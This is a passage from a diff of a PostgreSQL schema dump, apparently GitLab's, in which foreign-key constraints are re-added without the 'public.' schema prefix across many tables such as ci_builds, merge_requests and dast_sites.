- ADD CONSTRAINT fk_rails_666826e111 FOREIGN KEY (web_hook_id) REFERENCES public.web_hooks(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_sites
+ ADD CONSTRAINT fk_rails_6febb6ea9c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.jira_imports
- ADD CONSTRAINT fk_rails_675d38c03b FOREIGN KEY (label_id) REFERENCES public.labels(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_builds_runner_session
+ ADD CONSTRAINT fk_rails_70707857d3 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_iteration_events
- ADD CONSTRAINT fk_rails_6830c13ac1 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY list_user_preferences
+ ADD CONSTRAINT fk_rails_70b2ef5ce2 FOREIGN KEY (list_id) REFERENCES lists(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_hashed_storage_migrated_events
- ADD CONSTRAINT fk_rails_687ed7d7c5 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_custom_attributes
+ ADD CONSTRAINT fk_rails_719c3dccc5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.plan_limits
- ADD CONSTRAINT fk_rails_69f8b6184f FOREIGN KEY (plan_id) REFERENCES public.plans(id) ON DELETE CASCADE;
+ALTER TABLE ONLY security_findings
+ ADD CONSTRAINT fk_rails_729b763a54 FOREIGN KEY (scanner_id) REFERENCES vulnerability_scanners(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_feature_flags_issues
- ADD CONSTRAINT fk_rails_6a8856ca4f FOREIGN KEY (feature_flag_id) REFERENCES public.operations_feature_flags(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_scanner_profiles
+ ADD CONSTRAINT fk_rails_72a8ba7141 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.prometheus_alerts
- ADD CONSTRAINT fk_rails_6d9b283465 FOREIGN KEY (environment_id) REFERENCES public.environments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_historical_statistics
+ ADD CONSTRAINT fk_rails_72b73ed023 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.term_agreements
- ADD CONSTRAINT fk_rails_6ea6520e4a FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY slack_integrations
+ ADD CONSTRAINT fk_rails_73db19721a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_compliance_framework_settings
- ADD CONSTRAINT fk_rails_6f5294f16c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY custom_emoji
+ ADD CONSTRAINT fk_rails_745925b412 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.users_security_dashboard_projects
- ADD CONSTRAINT fk_rails_6f6cf8e66e FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profiles
+ ADD CONSTRAINT fk_rails_747dc64abc FOREIGN KEY (dast_site_id) REFERENCES dast_sites(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.dast_sites
- ADD CONSTRAINT fk_rails_6febb6ea9c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_context_commit_diff_files
+ ADD CONSTRAINT fk_rails_74a00a1787 FOREIGN KEY (merge_request_context_commit_id) REFERENCES merge_request_context_commits(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds_runner_session
- ADD CONSTRAINT fk_rails_70707857d3 FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_ingress
+ ADD CONSTRAINT fk_rails_753a7b41c1 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.list_user_preferences
- ADD CONSTRAINT fk_rails_70b2ef5ce2 FOREIGN KEY (list_id) REFERENCES public.lists(id) ON DELETE CASCADE;
+ALTER TABLE ONLY release_links
+ ADD CONSTRAINT fk_rails_753be7ae29 FOREIGN KEY (release_id) REFERENCES releases(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_custom_attributes
- ADD CONSTRAINT fk_rails_719c3dccc5 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY milestone_releases
+ ADD CONSTRAINT fk_rails_754f27dbfa FOREIGN KEY (release_id) REFERENCES releases(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.dast_scanner_profiles
- ADD CONSTRAINT fk_rails_72a8ba7141 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_repositories_changed_events
+ ADD CONSTRAINT fk_rails_75ec0fefcc FOREIGN KEY (geo_node_id) REFERENCES geo_nodes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_historical_statistics
- ADD CONSTRAINT fk_rails_72b73ed023 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_label_events
+ ADD CONSTRAINT fk_rails_75efb0a653 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.slack_integrations
- ADD CONSTRAINT fk_rails_73db19721a FOREIGN KEY (service_id) REFERENCES public.services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY x509_certificates
+ ADD CONSTRAINT fk_rails_76479fb5b4 FOREIGN KEY (x509_issuer_id) REFERENCES x509_issuers(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.custom_emoji
- ADD CONSTRAINT fk_rails_745925b412 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY pages_domain_acme_orders
+ ADD CONSTRAINT fk_rails_76581b1c16 FOREIGN KEY (pages_domain_id) REFERENCES pages_domains(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.dast_site_profiles
- ADD CONSTRAINT fk_rails_747dc64abc FOREIGN KEY (dast_site_id) REFERENCES public.dast_sites(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_user_preferences
+ ADD CONSTRAINT fk_rails_76c4e9732d FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_context_commit_diff_files
- ADD CONSTRAINT fk_rails_74a00a1787 FOREIGN KEY (merge_request_context_commit_id) REFERENCES public.merge_request_context_commits(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_subscriptions_projects
+ ADD CONSTRAINT fk_rails_7871f9a97b FOREIGN KEY (upstream_project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_ingress
- ADD CONSTRAINT fk_rails_753a7b41c1 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY terraform_states
+ ADD CONSTRAINT fk_rails_78f54ca485 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.release_links
- ADD CONSTRAINT fk_rails_753be7ae29 FOREIGN KEY (release_id) REFERENCES public.releases(id) ON DELETE CASCADE;
+ALTER TABLE ONLY software_license_policies
+ ADD CONSTRAINT fk_rails_7a7a2a92de FOREIGN KEY (software_license_id) REFERENCES software_licenses(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.milestone_releases
- ADD CONSTRAINT fk_rails_754f27dbfa FOREIGN KEY (release_id) REFERENCES public.releases(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_repositories
+ ADD CONSTRAINT fk_rails_7a810d4121 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_repositories_changed_events
- ADD CONSTRAINT fk_rails_75ec0fefcc FOREIGN KEY (geo_node_id) REFERENCES public.geo_nodes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_scopes
+ ADD CONSTRAINT fk_rails_7a9358853b FOREIGN KEY (strategy_id) REFERENCES operations_strategies(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_label_events
- ADD CONSTRAINT fk_rails_75efb0a653 FOREIGN KEY (epic_id) REFERENCES public.epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY milestone_releases
+ ADD CONSTRAINT fk_rails_7ae0756a2d FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.x509_certificates
- ADD CONSTRAINT fk_rails_76479fb5b4 FOREIGN KEY (x509_issuer_id) REFERENCES public.x509_issuers(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_state_events
+ ADD CONSTRAINT fk_rails_7ddc5f7457 FOREIGN KEY (source_merge_request_id) REFERENCES merge_requests(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.pages_domain_acme_orders
- ADD CONSTRAINT fk_rails_76581b1c16 FOREIGN KEY (pages_domain_id) REFERENCES public.pages_domains(id) ON DELETE CASCADE;
+ALTER TABLE ONLY application_settings
+ ADD CONSTRAINT fk_rails_7e112a9599 FOREIGN KEY (instance_administration_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_subscriptions_projects
- ADD CONSTRAINT fk_rails_7871f9a97b FOREIGN KEY (upstream_project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_kubernetes_namespaces
+ ADD CONSTRAINT fk_rails_7e7688ecaf FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.terraform_states
- ADD CONSTRAINT fk_rails_78f54ca485 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rules_users
+ ADD CONSTRAINT fk_rails_80e6801803 FOREIGN KEY (approval_merge_request_rule_id) REFERENCES approval_merge_request_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.software_license_policies
- ADD CONSTRAINT fk_rails_7a7a2a92de FOREIGN KEY (software_license_id) REFERENCES public.software_licenses(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profiles
+ ADD CONSTRAINT fk_rails_83e309d69e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_repositories
- ADD CONSTRAINT fk_rails_7a810d4121 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_user_preferences
+ ADD CONSTRAINT fk_rails_851fe1510a FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_scopes
- ADD CONSTRAINT fk_rails_7a9358853b FOREIGN KEY (strategy_id) REFERENCES public.operations_strategies(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployment_merge_requests
+ ADD CONSTRAINT fk_rails_86a6d8bf12 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.milestone_releases
- ADD CONSTRAINT fk_rails_7ae0756a2d FOREIGN KEY (milestone_id) REFERENCES public.milestones(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_language_trend_repository_languages
+ ADD CONSTRAINT fk_rails_86cc9aef5f FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_state_events
- ADD CONSTRAINT fk_rails_7ddc5f7457 FOREIGN KEY (source_merge_request_id) REFERENCES public.merge_requests(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_request_diff_details
+ ADD CONSTRAINT fk_rails_86f4d24ecd FOREIGN KEY (merge_request_diff_id) REFERENCES merge_request_diffs(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.application_settings
- ADD CONSTRAINT fk_rails_7e112a9599 FOREIGN KEY (instance_administration_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY clusters_applications_crossplane
+ ADD CONSTRAINT fk_rails_87186702df FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_kubernetes_namespaces
- ADD CONSTRAINT fk_rails_7e7688ecaf FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_runner_namespaces
+ ADD CONSTRAINT fk_rails_8767676b7a FOREIGN KEY (runner_id) REFERENCES ci_runners(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rules_users
- ADD CONSTRAINT fk_rails_80e6801803 FOREIGN KEY (approval_merge_request_rule_id) REFERENCES public.approval_merge_request_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY software_license_policies
+ ADD CONSTRAINT fk_rails_87b2247ce5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.dast_site_profiles
- ADD CONSTRAINT fk_rails_83e309d69e FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_environment_deploy_access_levels
+ ADD CONSTRAINT fk_rails_898a13b650 FOREIGN KEY (protected_environment_id) REFERENCES protected_environments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.deployment_merge_requests
- ADD CONSTRAINT fk_rails_86a6d8bf12 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY snippet_repositories
+ ADD CONSTRAINT fk_rails_8afd7e2f71 FOREIGN KEY (snippet_id) REFERENCES snippets(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_language_trend_repository_languages
- ADD CONSTRAINT fk_rails_86cc9aef5f FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY gpg_key_subkeys
+ ADD CONSTRAINT fk_rails_8b2c90b046 FOREIGN KEY (gpg_key_id) REFERENCES gpg_keys(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_crossplane
- ADD CONSTRAINT fk_rails_87186702df FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_user_preferences
+ ADD CONSTRAINT fk_rails_8b3b23ce82 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_runner_namespaces
- ADD CONSTRAINT fk_rails_8767676b7a FOREIGN KEY (runner_id) REFERENCES public.ci_runners(id) ON DELETE CASCADE;
+ALTER TABLE ONLY allowed_email_domains
+ ADD CONSTRAINT fk_rails_8b5da859f9 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.software_license_policies
- ADD CONSTRAINT fk_rails_87b2247ce5 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_projects
+ ADD CONSTRAINT fk_rails_8b8c5caf07 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_environment_deploy_access_levels
- ADD CONSTRAINT fk_rails_898a13b650 FOREIGN KEY (protected_environment_id) REFERENCES public.protected_environments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_pages_metadata
+ ADD CONSTRAINT fk_rails_8c28a61485 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.snippet_repositories
- ADD CONSTRAINT fk_rails_8afd7e2f71 FOREIGN KEY (snippet_id) REFERENCES public.snippets(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_conan_metadata
+ ADD CONSTRAINT fk_rails_8c68cfec8b FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.gpg_key_subkeys
- ADD CONSTRAINT fk_rails_8b2c90b046 FOREIGN KEY (gpg_key_id) REFERENCES public.gpg_keys(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_feedback
+ ADD CONSTRAINT fk_rails_8c77e5891a FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.board_user_preferences
- ADD CONSTRAINT fk_rails_8b3b23ce82 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipeline_messages
+ ADD CONSTRAINT fk_rails_8d3b04e3e1 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.allowed_email_domains
- ADD CONSTRAINT fk_rails_8b5da859f9 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rules_approved_approvers
+ ADD CONSTRAINT fk_rails_8dc94cff4d FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_projects
- ADD CONSTRAINT fk_rails_8b8c5caf07 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY design_user_mentions
+ ADD CONSTRAINT fk_rails_8de8c6d632 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_pages_metadata
- ADD CONSTRAINT fk_rails_8c28a61485 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_kubernetes_namespaces
+ ADD CONSTRAINT fk_rails_8df789f3ab FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.packages_conan_metadata
- ADD CONSTRAINT fk_rails_8c68cfec8b FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY alert_management_alert_user_mentions
+ ADD CONSTRAINT fk_rails_8e48eca0fe FOREIGN KEY (alert_management_alert_id) REFERENCES alert_management_alerts(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_feedback
- ADD CONSTRAINT fk_rails_8c77e5891a FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE SET NULL;
+ALTER TABLE ONLY project_daily_statistics
+ ADD CONSTRAINT fk_rails_8e549b272d FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipeline_messages
- ADD CONSTRAINT fk_rails_8d3b04e3e1 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipelines_config
+ ADD CONSTRAINT fk_rails_906c9a2533 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rules_approved_approvers
- ADD CONSTRAINT fk_rails_8dc94cff4d FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_project_rules_groups
+ ADD CONSTRAINT fk_rails_9071e863d1 FOREIGN KEY (approval_project_rule_id) REFERENCES approval_project_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.design_user_mentions
- ADD CONSTRAINT fk_rails_8de8c6d632 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_occurrences
+ ADD CONSTRAINT fk_rails_90fed4faba FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_kubernetes_namespaces
- ADD CONSTRAINT fk_rails_8df789f3ab FOREIGN KEY (environment_id) REFERENCES public.environments(id) ON DELETE SET NULL;
+ALTER TABLE ONLY geo_reset_checksum_events
+ ADD CONSTRAINT fk_rails_910a06f12b FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alert_user_mentions
- ADD CONSTRAINT fk_rails_8e48eca0fe FOREIGN KEY (alert_management_alert_id) REFERENCES public.alert_management_alerts(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_error_tracking_settings
+ ADD CONSTRAINT fk_rails_910a2b8bd9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_daily_statistics
- ADD CONSTRAINT fk_rails_8e549b272d FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY list_user_preferences
+ ADD CONSTRAINT fk_rails_916d72cafd FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipelines_config
- ADD CONSTRAINT fk_rails_906c9a2533 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_labels
+ ADD CONSTRAINT fk_rails_9374a16edd FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_project_rules_groups
- ADD CONSTRAINT fk_rails_9071e863d1 FOREIGN KEY (approval_project_rule_id) REFERENCES public.approval_project_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY alert_management_alert_assignees
+ ADD CONSTRAINT fk_rails_93c0f6703b FOREIGN KEY (alert_id) REFERENCES alert_management_alerts(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_occurrences
- ADD CONSTRAINT fk_rails_90fed4faba FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY scim_identities
+ ADD CONSTRAINT fk_rails_9421a0bffb FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_reset_checksum_events
- ADD CONSTRAINT fk_rails_910a06f12b FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_pypi_metadata
+ ADD CONSTRAINT fk_rails_9698717cdd FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_error_tracking_settings
- ADD CONSTRAINT fk_rails_910a2b8bd9 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_dependency_links
+ ADD CONSTRAINT fk_rails_96ef1c00d3 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.list_user_preferences
- ADD CONSTRAINT fk_rails_916d72cafd FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_label_events
+ ADD CONSTRAINT fk_rails_9851a00031 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_labels
- ADD CONSTRAINT fk_rails_9374a16edd FOREIGN KEY (board_id) REFERENCES public.boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_artifacts
+ ADD CONSTRAINT fk_rails_9862d392f9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alert_assignees
- ADD CONSTRAINT fk_rails_93c0f6703b FOREIGN KEY (alert_id) REFERENCES public.alert_management_alerts(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_project_recent_visits
+ ADD CONSTRAINT fk_rails_98f8843922 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.scim_identities
- ADD CONSTRAINT fk_rails_9421a0bffb FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_kubernetes_namespaces
+ ADD CONSTRAINT fk_rails_98fe21e486 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.packages_pypi_metadata
- ADD CONSTRAINT fk_rails_9698717cdd FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY pages_deployments
+ ADD CONSTRAINT fk_rails_993b88f59a FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_dependency_links
- ADD CONSTRAINT fk_rails_96ef1c00d3 FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_exports
+ ADD CONSTRAINT fk_rails_9aff2c3b45 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_label_events
- ADD CONSTRAINT fk_rails_9851a00031 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY users_ops_dashboard_projects
+ ADD CONSTRAINT fk_rails_9b4ebf005b FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_job_artifacts
- ADD CONSTRAINT fk_rails_9862d392f9 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_incident_management_settings
+ ADD CONSTRAINT fk_rails_9c2ea1b7dd FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_project_recent_visits
- ADD CONSTRAINT fk_rails_98f8843922 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY gpg_keys
+ ADD CONSTRAINT fk_rails_9d1f5d8719 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_kubernetes_namespaces
- ADD CONSTRAINT fk_rails_98fe21e486 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY analytics_language_trend_repository_languages
+ ADD CONSTRAINT fk_rails_9d851d566c FOREIGN KEY (programming_language_id) REFERENCES programming_languages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_exports
- ADD CONSTRAINT fk_rails_9aff2c3b45 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY badges
+ ADD CONSTRAINT fk_rails_9df4a56538 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.users_ops_dashboard_projects
- ADD CONSTRAINT fk_rails_9b4ebf005b FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_cert_managers
+ ADD CONSTRAINT fk_rails_9e4f2cb4b2 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_incident_management_settings
- ADD CONSTRAINT fk_rails_9c2ea1b7dd FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_milestone_events
+ ADD CONSTRAINT fk_rails_a006df5590 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.gpg_keys
- ADD CONSTRAINT fk_rails_9d1f5d8719 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY namespace_root_storage_statistics
+ ADD CONSTRAINT fk_rails_a0702c430b FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_language_trend_repository_languages
- ADD CONSTRAINT fk_rails_9d851d566c FOREIGN KEY (programming_language_id) REFERENCES public.programming_languages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_aliases
+ ADD CONSTRAINT fk_rails_a1804f74a7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.badges
- ADD CONSTRAINT fk_rails_9df4a56538 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_user_mentions
+ ADD CONSTRAINT fk_rails_a18600f210 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_cert_managers
- ADD CONSTRAINT fk_rails_9e4f2cb4b2 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY todos
+ ADD CONSTRAINT fk_rails_a27c483435 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_milestone_events
- ADD CONSTRAINT fk_rails_a006df5590 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY jira_tracker_data
+ ADD CONSTRAINT fk_rails_a299066916 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespace_root_storage_statistics
- ADD CONSTRAINT fk_rails_a0702c430b FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_environments
+ ADD CONSTRAINT fk_rails_a354313d11 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_aliases
